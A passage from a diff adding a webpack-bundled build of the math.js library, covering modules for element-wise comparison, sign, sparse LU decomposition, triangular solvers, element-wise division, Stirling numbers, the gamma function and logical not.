SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, _unequal); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm03(y, x, _unequal, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, _unequal, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, _unequal); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return unequal(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return unequal(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return unequal(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm12(x, y, _unequal, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, _unequal, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, _unequal, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, _unequal, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, _unequal, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, _unequal, true).valueOf(); + } + }); + + var _unequal = typed('_unequal', { + 'boolean, boolean': function booleanBoolean(x, y) { + return x !== y; + }, + 'number, number': function numberNumber(x, y) { + return !nearlyEqual(x, y, config.epsilon); + }, + 'BigNumber, BigNumber': function BigNumberBigNumber(x, y) { + return !bigNearlyEqual(x, y, config.epsilon); + }, + 'Fraction, Fraction': function FractionFraction(x, y) { + return !x.equals(y); + }, + 'Complex, Complex': function ComplexComplex(x, y) { + return !x.equals(y); + }, + 'Unit, Unit': function UnitUnit(x, y) { + if (!x.equalBase(y)) { + throw new Error('Cannot compare units with different base'); + } + + return unequal(x.value, y.value); + } + }); + + unequal.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['unequal'], "${args[1]}\\right)") + }; + return unequal; +} + +exports.name = 'unequal'; +exports.factory = factory; + +/***/ }), +/* 131 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var number = __webpack_require__(3); + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Compute the sign of a value. The sign of a value x is: + * + * - 1 when x > 0 + * - -1 when x < 0 + * - 0 when x == 0 + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.sign(x) + * + * Examples: + * + * math.sign(3.5) // returns 1 + * math.sign(-4.2) // returns -1 + * math.sign(0) // returns 0 + * + * math.sign([3, 5, -2, 0, 2]) // returns [1, 1, -1, 0, 1] + * + * See also: + * + * abs + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} x + * The number for which to determine the sign + * @return {number | BigNumber | Fraction | Complex | Array | Matrix | Unit}e + * The sign of `x` + */ + var sign = typed('sign', { + 'number': number.sign, + 'Complex': function Complex(x) { + return x.sign(); + }, + 'BigNumber': function BigNumber(x) { + return new type.BigNumber(x.cmp(0)); + }, + 'Fraction': function Fraction(x) { + return new type.Fraction(x.s, 1); + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since sign(0) = 0 + return deepMap(x, sign, true); + }, + 'Unit': function Unit(x) { + return sign(x.value); + } + }); + sign.toTex = { + 1: "\\mathrm{${name}}\\left(${args[0]}\\right)" + }; + return sign; +} + +exports.name = 'sign'; +exports.factory = factory; + +/***/ }), +/* 132 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var util = __webpack_require__(31); + +var number = util.number; +var isInteger = number.isInteger; + +function factory(type, config, load, typed) { + var csSqr = load(__webpack_require__(209)); + var csLu = load(__webpack_require__(217)); + /** + * Calculate the Sparse Matrix LU decomposition with full pivoting. Sparse Matrix `A` is decomposed in two matrices (`L`, `U`) and two permutation vectors (`pinv`, `q`) where + * + * `P * A * Q = L * U` + * + * Syntax: + * + * math.slu(A, order, threshold) + * + * Examples: + * + * const A = math.sparse([[4,3], [6, 3]]) + * math.slu(A, 1, 0.001) + * // returns: + * // { + * // L: [[1, 0], [1.5, 1]] + * // U: [[4, 3], [0, -1.5]] + * // p: [0, 1] + * // q: [0, 1] + * // } + * + * See also: + * + * lup, lsolve, usolve, lusolve + * + * @param {SparseMatrix} A A two dimensional sparse matrix for which to get the LU decomposition. + * @param {Number} order The Symbolic Ordering and Analysis order: + * 0 - Natural ordering, no permutation vector q is returned + * 1 - Matrix must be square, symbolic ordering and analisis is performed on M = A + A' + * 2 - Symbolic ordering and analisis is performed on M = A' * A. Dense columns from A' are dropped, A recreated from A'. + * This is appropriatefor LU factorization of unsymmetric matrices. + * 3 - Symbolic ordering and analisis is performed on M = A' * A. This is best used for LU factorization is matrix M has no dense rows. + * A dense row is a row with more than 10*sqr(columns) entries. + * @param {Number} threshold Partial pivoting threshold (1 for partial pivoting) + * + * @return {Object} The lower triangular matrix, the upper triangular matrix and the permutation vectors. + */ + + var slu = typed('slu', { + 'SparseMatrix, number, number': function SparseMatrixNumberNumber(a, order, threshold) { + // verify order + if (!isInteger(order) || order < 0 || order > 3) { + throw new Error('Symbolic Ordering and Analysis order must be an integer number in the interval [0, 3]'); + } // verify threshold + + + if (threshold < 0 || threshold > 1) { + throw new Error('Partial pivoting threshold must be a number from 0 to 1'); + } // perform symbolic ordering and analysis + + + var s = csSqr(order, a, false); // perform lu decomposition + + var f = csLu(a, s, threshold); // return decomposition + + return { + L: f.L, + U: f.U, + p: f.pinv, + q: s.q, + toString: function toString() { + return 'L: ' + this.L.toString() + '\nU: ' + this.U.toString() + '\np: ' + this.p.toString() + (this.q ? '\nq: ' + this.q.toString() : '') + '\n'; + } + }; + } + }); + return slu; +} + +exports.name = 'slu'; +exports.factory = factory; + +/***/ }), +/* 133 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * Depth-first search and postorder of a tree rooted at node j + * + * @param {Number} j The tree node + * @param {Number} k + * @param {Array} w The workspace array + * @param {Number} head The index offset within the workspace for the head array + * @param {Number} next The index offset within the workspace for the next array + * @param {Array} post The post ordering array + * @param {Number} stack The index offset within the workspace for the stack array + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + var csTdfs = function csTdfs(j, k, w, head, next, post, stack) { + // variables + var top = 0; // place j on the stack + + w[stack] = j; // while (stack is not empty) + + while (top >= 0) { + // p = top of stack + var p = w[stack + top]; // i = youngest child of p + + var i = w[head + p]; + + if (i === -1) { + // p has no unordered children left + top--; // node p is the kth postordered node + + post[k++] = p; + } else { + // remove i from children of p + w[head + p] = w[next + i]; // increment top + + ++top; // start dfs on child node i + + w[stack + top] = i; + } + } + + return k; + }; + + return csTdfs; +} + +exports.name = 'csTdfs'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 134 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * Checks if the node at w[j] is marked + * + * @param {Array} w The array + * @param {Number} j The array index + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + var csMarked = function csMarked(w, j) { + // check node is marked + return w[j] < 0; + }; + + return csMarked; +} + +exports.name = 'csMarked'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 135 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csFlip = load(__webpack_require__(88)); + /** + * Marks the node at w[j] + * + * @param {Array} w The array + * @param {Number} j The array index + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csMark = function csMark(w, j) { + // mark w[j] + w[j] = csFlip(w[j]); + }; + + return csMark; +} + +exports.name = 'csMark'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 136 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var divideScalar = load(__webpack_require__(12)); + var multiplyScalar = load(__webpack_require__(21)); + var subtract = load(__webpack_require__(15)); + var equalScalar = load(__webpack_require__(11)); + var solveValidation = load(__webpack_require__(90)); + var DenseMatrix = type.DenseMatrix; + /** + * Solves the linear equation system by forwards substitution. Matrix must be a lower triangular matrix. + * + * `L * x = b` + * + * Syntax: + * + * math.lsolve(L, b) + * + * Examples: + * + * const a = [[-2, 3], [2, 1]] + * const b = [11, 9] + * const x = lsolve(a, b) // [[-5.5], [20]] + * + * See also: + * + * lup, slu, usolve, lusolve + * + * @param {Matrix, Array} L A N x N matrix or array (L) + * @param {Matrix, Array} b A column vector with the b values + * + * @return {DenseMatrix | Array} A column vector with the linear system solution (x) + */ + + var lsolve = typed('lsolve', { + 'SparseMatrix, Array | Matrix': function SparseMatrixArrayMatrix(m, b) { + // process matrix + return _sparseForwardSubstitution(m, b); + }, + 'DenseMatrix, Array | Matrix': function DenseMatrixArrayMatrix(m, b) { + // process matrix + return _denseForwardSubstitution(m, b); + }, + 'Array, Array | Matrix': function ArrayArrayMatrix(a, b) { + // create dense matrix from array + var m = matrix(a); // use matrix implementation + + var r = _denseForwardSubstitution(m, b); // result + + + return r.valueOf(); + } + }); + + function _denseForwardSubstitution(m, b) { + // validate matrix and vector, return copy of column vector b + b = solveValidation(m, b, true); // column vector data + + var bdata = b._data; // rows & columns + + var rows = m._size[0]; + var columns = m._size[1]; // result + + var x = []; // data + + var data = m._data; // forward solve m * x = b, loop columns + + for (var j = 0; j < columns; j++) { + // b[j] + var bj = bdata[j][0] || 0; // x[j] + + var xj = void 0; // forward substitution (outer product) avoids inner looping when bj === 0 + + if (!equalScalar(bj, 0)) { + // value @ [j, j] + var vjj = data[j][j]; // check vjj + + if (equalScalar(vjj, 0)) { + // system cannot be solved + throw new Error('Linear system cannot be solved since matrix is singular'); + } // calculate xj + + + xj = divideScalar(bj, vjj); // loop rows + + for (var i = j + 1; i < rows; i++) { + // update copy of b + bdata[i] = [subtract(bdata[i][0] || 0, multiplyScalar(xj, data[i][j]))]; + } + } else { + // zero @ j + xj = 0; + } // update x + + + x[j] = [xj]; + } // return vector + + + return new DenseMatrix({ + data: x, + size: [rows, 1] + }); + } + + function _sparseForwardSubstitution(m, b) { + // validate matrix and vector, return copy of column vector b + b = solveValidation(m, b, true); // column vector data + + var bdata = b._data; // rows & columns + + var rows = m._size[0]; + var columns = m._size[1]; // matrix arrays + + var values = m._values; + var index = m._index; + var ptr = m._ptr; // vars + + var i, k; // result + + var x = []; // forward solve m * x = b, loop columns + + for (var j = 0; j < columns; j++) { + // b[j] + var bj = bdata[j][0] || 0; // forward substitution (outer product) avoids inner looping when bj === 0 + + if (!equalScalar(bj, 0)) { + // value @ [j, j] + var vjj = 0; // lower triangular matrix values & index (column j) + + var jvalues = []; + var jindex = []; // last index in column + + var l = ptr[j + 1]; // values in column, find value @ [j, j] + + for (k = ptr[j]; k < l; k++) { + // row + i = index[k]; // check row (rows are not sorted!) + + if (i === j) { + // update vjj + vjj = values[k]; + } else if (i > j) { + // store lower triangular + jvalues.push(values[k]); + jindex.push(i); + } + } // at this point we must have a value @ [j, j] + + + if (equalScalar(vjj, 0)) { + // system cannot be solved, there is no value @ [j, j] + throw new Error('Linear system cannot be solved since matrix is singular'); + } // calculate xj + + + var xj = divideScalar(bj, vjj); // loop lower triangular + + for (k = 0, l = jindex.length; k < l; k++) { + // row + i = jindex[k]; // update copy of b + + bdata[i] = [subtract(bdata[i][0] || 0, multiplyScalar(xj, jvalues[k]))]; + } // update x + + + x[j] = [xj]; + } else { + // update x + x[j] = [0]; + } + } // return vector + + + return new DenseMatrix({ + data: x, + size: [rows, 1] + }); + } + + return lsolve; +} + +exports.name = 'lsolve'; +exports.factory = factory; + +/***/ }), +/* 137 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var divideScalar = load(__webpack_require__(12)); + var multiplyScalar = load(__webpack_require__(21)); + var subtract = load(__webpack_require__(15)); + var equalScalar = load(__webpack_require__(11)); + var solveValidation = load(__webpack_require__(90)); + var DenseMatrix = type.DenseMatrix; + /** + * Solves the linear equation system by backward substitution. Matrix must be an upper triangular matrix. + * + * `U * x = b` + * + * Syntax: + * + * math.usolve(U, b) + * + * Examples: + * + * const a = [[-2, 3], [2, 1]] + * const b = [11, 9] + * const x = usolve(a, b) // [[8], [9]] + * + * See also: + * + * lup, slu, usolve, lusolve + * + * @param {Matrix, Array} U A N x N matrix or array (U) + * @param {Matrix, Array} b A column vector with the b values + * + * @return {DenseMatrix | Array} A column vector with the linear system solution (x) + */ + + var usolve = typed('usolve', { + 'SparseMatrix, Array | Matrix': function SparseMatrixArrayMatrix(m, b) { + // process matrix + return _sparseBackwardSubstitution(m, b); + }, + 'DenseMatrix, Array | Matrix': function DenseMatrixArrayMatrix(m, b) { + // process matrix + return _denseBackwardSubstitution(m, b); + }, + 'Array, Array | Matrix': function ArrayArrayMatrix(a, b) { + // create dense matrix from array + var m = matrix(a); // use matrix implementation + + var r = _denseBackwardSubstitution(m, b); // result + + + return r.valueOf(); + } + }); + + function _denseBackwardSubstitution(m, b) { + // validate matrix and vector, return copy of column vector b + b = solveValidation(m, b, true); // column vector data + + var bdata = b._data; // rows & columns + + var rows = m._size[0]; + var columns = m._size[1]; // result + + var x = []; // arrays + + var data = m._data; // backward solve m * x = b, loop columns (backwards) + + for (var j = columns - 1; j >= 0; j--) { + // b[j] + var bj = bdata[j][0] || 0; // x[j] + + var xj = void 0; // backward substitution (outer product) avoids inner looping when bj === 0 + + if (!equalScalar(bj, 0)) { + // value @ [j, j] + var vjj = data[j][j]; // check vjj + + if (equalScalar(vjj, 0)) { + // system cannot be solved + throw new Error('Linear system cannot be solved since matrix is singular'); + } // calculate xj + + + xj = divideScalar(bj, vjj); // loop rows + + for (var i = j - 1; i >= 0; i--) { + // update copy of b + bdata[i] = [subtract(bdata[i][0] || 0, multiplyScalar(xj, data[i][j]))]; + } + } else { + // zero value @ j + xj = 0; + } // update x + + + x[j] = [xj]; + } // return column vector + + + return new DenseMatrix({ + data: x, + size: [rows, 1] + }); + } + + function _sparseBackwardSubstitution(m, b) { + // validate matrix and vector, return copy of column vector b + b = solveValidation(m, b, true); // column vector data + + var bdata = b._data; // rows & columns + + var rows = m._size[0]; + var columns = m._size[1]; // matrix arrays + + var values = m._values; + var index = m._index; + var ptr = m._ptr; // vars + + var i, k; // result + + var x = []; // backward solve m * x = b, loop columns (backwards) + + for (var j = columns - 1; j >= 0; j--) { + // b[j] + var bj = bdata[j][0] || 0; // backward substitution (outer product) avoids inner looping when bj === 0 + + if (!equalScalar(bj, 0)) { + // value @ [j, j] + var vjj = 0; // upper triangular matrix values & index (column j) + + var jvalues = []; + var jindex = []; // first & last indeces in column + + var f = ptr[j]; + var l = ptr[j + 1]; // values in column, find value @ [j, j], loop backwards + + for (k = l - 1; k >= f; k--) { + // row + i = index[k]; // check row + + if (i === j) { + // update vjj + vjj = values[k]; + } else if (i < j) { + // store upper triangular + jvalues.push(values[k]); + jindex.push(i); + } + } // at this point we must have a value @ [j, j] + + + if (equalScalar(vjj, 0)) { + // system cannot be solved, there is no value @ [j, j] + throw new Error('Linear system cannot be solved since matrix is singular'); + } // calculate xj + + + var xj = divideScalar(bj, vjj); // loop upper triangular + + for (k = 0, l = jindex.length; k < l; k++) { + // row + i = jindex[k]; // update copy of b + + bdata[i] = [subtract(bdata[i][0], multiplyScalar(xj, jvalues[k]))]; + } // update x + + + x[j] = [xj]; + } else { + // update x + x[j] = [0]; + } + } // return vector + + + return new DenseMatrix({ + data: x, + size: [rows, 1] + }); + } + + return usolve; +} + +exports.name = 'usolve'; +exports.factory = factory; + +/***/ }), +/* 138 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var divideScalar = load(__webpack_require__(12)); + + var latex = __webpack_require__(4); + + var algorithm02 = load(__webpack_require__(27)); + var algorithm03 = load(__webpack_require__(18)); + var algorithm07 = load(__webpack_require__(29)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm12 = load(__webpack_require__(19)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Divide two matrices element wise. The function accepts both matrices and + * scalar values. + * + * Syntax: + * + * math.dotDivide(x, y) + * + * Examples: + * + * math.dotDivide(2, 4) // returns 0.5 + * + * a = [[9, 5], [6, 1]] + * b = [[3, 2], [5, 2]] + * + * math.dotDivide(a, b) // returns [[3, 2.5], [1.2, 0.5]] + * math.divide(a, b) // returns [[1.75, 0.75], [-1.75, 2.25]] + * + * See also: + * + * divide, multiply, dotMultiply + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x Numerator + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} y Denominator + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} Quotient, `x ./ y` + */ + + var dotDivide = typed('dotDivide', { + 'any, any': divideScalar, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm07(x, y, divideScalar, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, divideScalar, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm03(x, y, divideScalar, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, divideScalar); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return dotDivide(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return dotDivide(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return dotDivide(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, divideScalar, false); + }, + 'DenseMatrix, any': function DenseMatrixAny(x, y) { + return algorithm14(x, y, divideScalar, false); + }, + 'any, SparseMatrix': function anySparseMatrix(x, y) { + return algorithm12(y, x, divideScalar, true); + }, + 'any, DenseMatrix': function anyDenseMatrix(x, y) { + return algorithm14(y, x, divideScalar, true); + }, + 'Array, any': function ArrayAny(x, y) { + // use matrix implementation + return algorithm14(matrix(x), y, divideScalar, false).valueOf(); + }, + 'any, Array': function anyArray(x, y) { + // use matrix implementation + return algorithm14(matrix(y), x, divideScalar, true).valueOf(); + } + }); + dotDivide.toTex = { + 2: "\\left(${args[0]}".concat(latex.operators['dotDivide'], "${args[1]}\\right)") + }; + return dotDivide; +} + +exports.name = 'dotDivide'; +exports.factory = factory; + +/***/ }), +/* 139 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var DimensionError = __webpack_require__(8); + +function factory(type, config, load, typed) { + var equalScalar = load(__webpack_require__(11)); + var SparseMatrix = type.SparseMatrix; + /** + * Iterates over SparseMatrix A and invokes the callback function f(Aij, Bij). + * Callback function invoked NZA times, number of nonzero elements in A. + * + * + * ┌ f(Aij, Bij) ; A(i,j) !== 0 + * C(i,j) = ┤ + * └ 0 ; otherwise + * + * + * @param {Matrix} a The SparseMatrix instance (A) + * @param {Matrix} b The SparseMatrix instance (B) + * @param {Function} callback The f(Aij,Bij) operation to invoke + * + * @return {Matrix} SparseMatrix (C) + * + * see https://github.com/josdejong/mathjs/pull/346#issuecomment-97620294 + */ + + var algorithm09 = function algorithm09(a, b, callback) { + // sparse matrix arrays + var avalues = a._values; + var aindex = a._index; + var aptr = a._ptr; + var asize = a._size; + var adt = a._datatype; // sparse matrix arrays + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; + var bsize = b._size; + var bdt = b._datatype; // validate dimensions + + if (asize.length !== bsize.length) { + throw new DimensionError(asize.length, bsize.length); + } // check rows & columns + + + if (asize[0] !== bsize[0] || asize[1] !== bsize[1]) { + throw new RangeError('Dimension mismatch. Matrix A (' + asize + ') must match Matrix B (' + bsize + ')'); + } // rows & columns + + + var rows = asize[0]; + var columns = asize[1]; // datatype + + var dt; // equal signature to use + + var eq = equalScalar; // zero value + + var zero = 0; // callback signature to use + + var cf = callback; // process data types + + if (typeof adt === 'string' && adt === bdt) { + // datatype + dt = adt; // find signature that matches (dt, dt) + + eq = typed.find(equalScalar, [dt, dt]); // convert 0 to the same datatype + + zero = typed.convert(0, dt); // callback + + cf = typed.find(callback, [dt, dt]); + } // result arrays + + + var cvalues = avalues && bvalues ? [] : undefined; + var cindex = []; + var cptr = []; // matrix + + var c = new SparseMatrix({ + values: cvalues, + index: cindex, + ptr: cptr, + size: [rows, columns], + datatype: dt + }); // workspaces + + var x = cvalues ? [] : undefined; // marks indicating we have a value in x for a given column + + var w = []; // vars + + var i, j, k, k0, k1; // loop columns + + for (j = 0; j < columns; j++) { + // update cptr + cptr[j] = cindex.length; // column mark + + var mark = j + 1; // check we need to process values + + if (x) { + // loop B(:,j) + for (k0 = bptr[j], k1 = bptr[j + 1], k = k0; k < k1; k++) { + // row + i = bindex[k]; // update workspace + + w[i] = mark; + x[i] = bvalues[k]; + } + } // loop A(:,j) + + + for (k0 = aptr[j], k1 = aptr[j + 1], k = k0; k < k1; k++) { + // row + i = aindex[k]; // check we need to process values + + if (x) { + // b value @ i,j + var vb = w[i] === mark ? x[i] : zero; // invoke f + + var vc = cf(avalues[k], vb); // check zero value + + if (!eq(vc, zero)) { + // push index + cindex.push(i); // push value + + cvalues.push(vc); + } + } else { + // push index + cindex.push(i); + } + } + } // update cptr + + + cptr[columns] = cindex.length; // return sparse matrix + + return c; + }; + + return algorithm09; +} + +exports.name = 'algorithm09'; +exports.factory = factory; + +/***/ }), +/* 140 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var add = load(__webpack_require__(14)); + var subtract = load(__webpack_require__(15)); + var multiply = load(__webpack_require__(10)); + var divide = load(__webpack_require__(45)); + var pow = load(__webpack_require__(42)); + var factorial = load(__webpack_require__(75)); + var combinations = load(__webpack_require__(76)); + var isNegative = load(__webpack_require__(61)); + var isInteger = load(__webpack_require__(34)); + var larger = load(__webpack_require__(33)); + /** + * The Stirling numbers of the second kind, counts the number of ways to partition + * a set of n labelled objects into k nonempty unlabelled subsets. + * stirlingS2 only takes integer arguments. + * The following condition must be enforced: k <= n. + * + * If n = k or k = 1, then s(n,k) = 1 + * + * Syntax: + * + * math.stirlingS2(n, k) + * + * Examples: + * + * math.stirlingS2(5, 3) //returns 25 + * + * See also: + * + * bellNumbers + * + * @param {Number | BigNumber} n Total number of objects in the set + * @param {Number | BigNumber} k Number of objects in the subset + * @return {Number | BigNumber} S(n,k) + */ + + var stirlingS2 = typed('stirlingS2', { + 'number | BigNumber, number | BigNumber': function numberBigNumberNumberBigNumber(n, k) { + if (!isInteger(n) || isNegative(n) || !isInteger(k) || isNegative(k)) { + throw new TypeError('Non-negative integer value expected in function stirlingS2'); + } else if (larger(k, n)) { + throw new TypeError('k must be less than or equal to n in function stirlingS2'); + } // 1/k! Sum(i=0 -> k) [(-1)^(k-i)*C(k,j)* i^n] + + + var kFactorial = factorial(k); + var result = 0; + + for (var i = 0; i <= k; i++) { + var negativeOne = pow(-1, subtract(k, i)); + var kChooseI = combinations(k, i); + var iPower = pow(i, n); + result = add(result, multiply(multiply(kChooseI, iPower), negativeOne)); + } + + return divide(result, kFactorial); + } + }); + stirlingS2.toTex = { + 2: "\\mathrm{S}\\left(${args}\\right)" + }; + return stirlingS2; +} + +exports.name = 'stirlingS2'; +exports.factory = factory; + +/***/ }), +/* 141 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +var isInteger = __webpack_require__(3).isInteger; + +function factory(type, config, load, typed) { + var multiply = load(__webpack_require__(10)); + var pow = load(__webpack_require__(42)); + + var product = __webpack_require__(95); + /** + * Compute the gamma function of a value using Lanczos approximation for + * small values, and an extended Stirling approximation for large values. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.gamma(n) + * + * Examples: + * + * math.gamma(5) // returns 24 + * math.gamma(-0.5) // returns -3.5449077018110335 + * math.gamma(math.i) // returns -0.15494982830180973 - 0.49801566811835596i + * + * See also: + * + * combinations, factorial, permutations + * + * @param {number | Array | Matrix} n A real or complex number + * @return {number | Array | Matrix} The gamma of `n` + */ + + + var gamma = typed('gamma', { + 'number': function number(n) { + var t, x; + + if (isInteger(n)) { + if (n <= 0) { + return isFinite(n) ? Infinity : NaN; + } + + if (n > 171) { + return Infinity; // Will overflow + } + + return product(1, n - 1); + } + + if (n < 0.5) { + return Math.PI / (Math.sin(Math.PI * n) * gamma(1 - n)); + } + + if (n >= 171.35) { + return Infinity; // will overflow + } + + if (n > 85.0) { + // Extended Stirling Approx + var twoN = n * n; + var threeN = twoN * n; + var fourN = threeN * n; + var fiveN = fourN * n; + return Math.sqrt(2 * Math.PI / n) * Math.pow(n / Math.E, n) * (1 + 1 / (12 * n) + 1 / (288 * twoN) - 139 / (51840 * threeN) - 571 / (2488320 * fourN) + 163879 / (209018880 * fiveN) + 5246819 / (75246796800 * fiveN * n)); + } + + --n; + x = p[0]; + + for (var i = 1; i < p.length; ++i) { + x += p[i] / (n + i); + } + + t = n + g + 0.5; + return Math.sqrt(2 * Math.PI) * Math.pow(t, n + 0.5) * Math.exp(-t) * x; + }, + 'Complex': function Complex(n) { + var t, x; + + if (n.im === 0) { + return gamma(n.re); + } + + n = new type.Complex(n.re - 1, n.im); + x = new type.Complex(p[0], 0); + + for (var i = 1; i < p.length; ++i) { + var real = n.re + i; // x += p[i]/(n+i) + + var den = real * real + n.im * n.im; + + if (den !== 0) { + x.re += p[i] * real / den; + x.im += -(p[i] * n.im) / den; + } else { + x.re = p[i] < 0 ? -Infinity : Infinity; + } + } + + t = new type.Complex(n.re + g + 0.5, n.im); + var twoPiSqrt = Math.sqrt(2 * Math.PI); + n.re += 0.5; + var result = pow(t, n); + + if (result.im === 0) { + // sqrt(2*PI)*result + result.re *= twoPiSqrt; + } else if (result.re === 0) { + result.im *= twoPiSqrt; + } else { + result.re *= twoPiSqrt; + result.im *= twoPiSqrt; + } + + var r = Math.exp(-t.re); // exp(-t) + + t.re = r * Math.cos(-t.im); + t.im = r * Math.sin(-t.im); + return multiply(multiply(result, t), x); + }, + 'BigNumber': function BigNumber(n) { + if (n.isInteger()) { + return n.isNegative() || n.isZero() ? new type.BigNumber(Infinity) : bigFactorial(n.minus(1)); + } + + if (!n.isFinite()) { + return new type.BigNumber(n.isNegative() ? NaN : Infinity); + } + + throw new Error('Integer BigNumber expected'); + }, + 'Array | Matrix': function ArrayMatrix(n) { + return deepMap(n, gamma); + } + }); + /** + * Calculate factorial for a BigNumber + * @param {BigNumber} n + * @returns {BigNumber} Returns the factorial of n + */ + + function bigFactorial(n) { + if (n.isZero()) { + return new type.BigNumber(1); // 0! is per definition 1 + } + + var precision = config.precision + (Math.log(n.toNumber()) | 0); + var Big = type.BigNumber.clone({ + precision: precision + }); + var res = new Big(n); + var value = n.toNumber() - 1; // number + + while (value > 1) { + res = res.times(value); + value--; + } + + return new type.BigNumber(res.toPrecision(type.BigNumber.precision)); + } + + gamma.toTex = { + 1: "\\Gamma\\left(${args[0]}\\right)" + }; + return gamma; +} // TODO: comment on the variables g and p + + +var g = 4.7421875; +var p = [0.99999999999999709182, 57.156235665862923517, -59.597960355475491248, 14.136097974741747174, -0.49191381609762019978, 0.33994649984811888699e-4, 0.46523628927048575665e-4, -0.98374475304879564677e-4, 0.15808870322491248884e-3, -0.21026444172410488319e-3, 0.21743961811521264320e-3, -0.16431810653676389022e-3, 0.84418223983852743293e-4, -0.26190838401581408670e-4, 0.36899182659531622704e-5]; +exports.name = 'gamma'; +exports.factory = factory; + +/***/ }), +/* 142 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var latex = __webpack_require__(4); + /** + * Logical `not`. Flips boolean value of a given parameter. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.not(x) + * + * Examples: + * + * math.not(2) // returns false + * math.not(0) // returns true + * math.not(true) // returns false + * + * a = [2, -7, 0] + * math.not(a) // returns [false, false, true] + * + * See also: + * + * and, or, xor + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x First value to check + * @return {boolean | Array | Matrix} + * Returns true when input is a zero or empty value. + */ + + + var not = typed('not', { + 'number': function number(x) { + return !x; + }, + 'Complex': function Complex(x) { + return x.re === 0 && x.im === 0; + }, + 'BigNumber': function BigNumber(x) { + return x.isZero() || x.isNaN(); + }, + 'Unit': function Unit(x) { + return x.value !== null ? not(x.value) : true; + }, + 'Array | Matrix': function ArrayMatrix(x) { + return deepMap(x, not); + } + }); + not.toTex = { + 1: latex.operators['not'] + "\\left(${args[0]}\\right)" + }; + return not; +} + +exports.name = 'not'; +exports.factory = factory; + +/***/ }), +/* 143 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var clone = __webpack_require__(5).clone; + +var validateIndex = __webpack_require__(2).validateIndex; + +function factory(type, config, load, typed) { + var MatrixIndex = load(__webpack_require__(24)); + var matrix = load(__webpack_require__(0)); + var range = load(__webpack_require__(77)); + /** + * Return a column from a Matrix. + * + * Syntax: + * + * math.column(value, index) + * + * Example: + * + * // get a column + * const d = [[1, 2], [3, 4]] + * math.column(d, 1) // returns [2, 4] + * + * See also: + * + * row + * + * @param {Array | Matrix } value An array or matrix + * @param {number} column The index of the column + * 